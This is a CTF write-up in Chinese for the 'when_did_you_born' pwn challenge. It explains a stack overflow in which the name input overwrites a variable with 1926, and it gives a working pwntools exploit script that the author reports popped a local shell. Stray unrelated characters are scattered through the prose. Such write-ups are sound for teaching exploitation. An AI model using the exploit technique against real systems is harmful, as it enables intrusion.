When_did_you_born
日常查保護(hù)
image.png
發(fā)現(xiàn)開了canary(這個(gè)我至今不太清楚原理)就很迷弥锄,然后還是選擇去ida里看偽代碼
image.png
我們可以發(fā)現(xiàn)程序包含有兩次的if判斷和兩次輸入
第一次的判斷是What’s Your Birth?后輸入一個(gè)v5噪沙,v5=1926(這出題人皮啊)就可以繼續(xù)進(jìn)入到第二個(gè)判斷了,第二個(gè)是What’s Your Name?后輸入v4吮播,但是v4貌似沒有任何作用疲眷,第二的條件是讓v5等于1926才能cat到flag。
好药薯,大概有個(gè)思路就是讓v4的輸入更改v5的值绑洛。
image.png
我們點(diǎn)這兩個(gè)變量進(jìn)去看,發(fā)現(xiàn)v4是var_20童本,v5是var_18真屯,我們要讓v4覆蓋v5。
payload = “a” * 8 +p64(1926)
好了穷娱,關(guān)鍵步驟出來了绑蔫,我們就可以上腳本了
exp
from pwn import*
p = process('./when_did_you_born')
#p = remote('111.198.29.45', '53157')
payload = 'a'*8 + p64(1926)
p.recvuntil("What's Your Birth?\n")
p.sendline('2000')
p.recvuntil("What's Your Name?\n")
p.sendline(payload)
p.interactive()
遠(yuǎn)程不知道為啥連不到,那就在本地運(yùn)行一遍看看結(jié)果
image.png
然后發(fā)現(xiàn)我們get到shell了泵额,只是本地沒有flag文件配深,那就算是完工了吧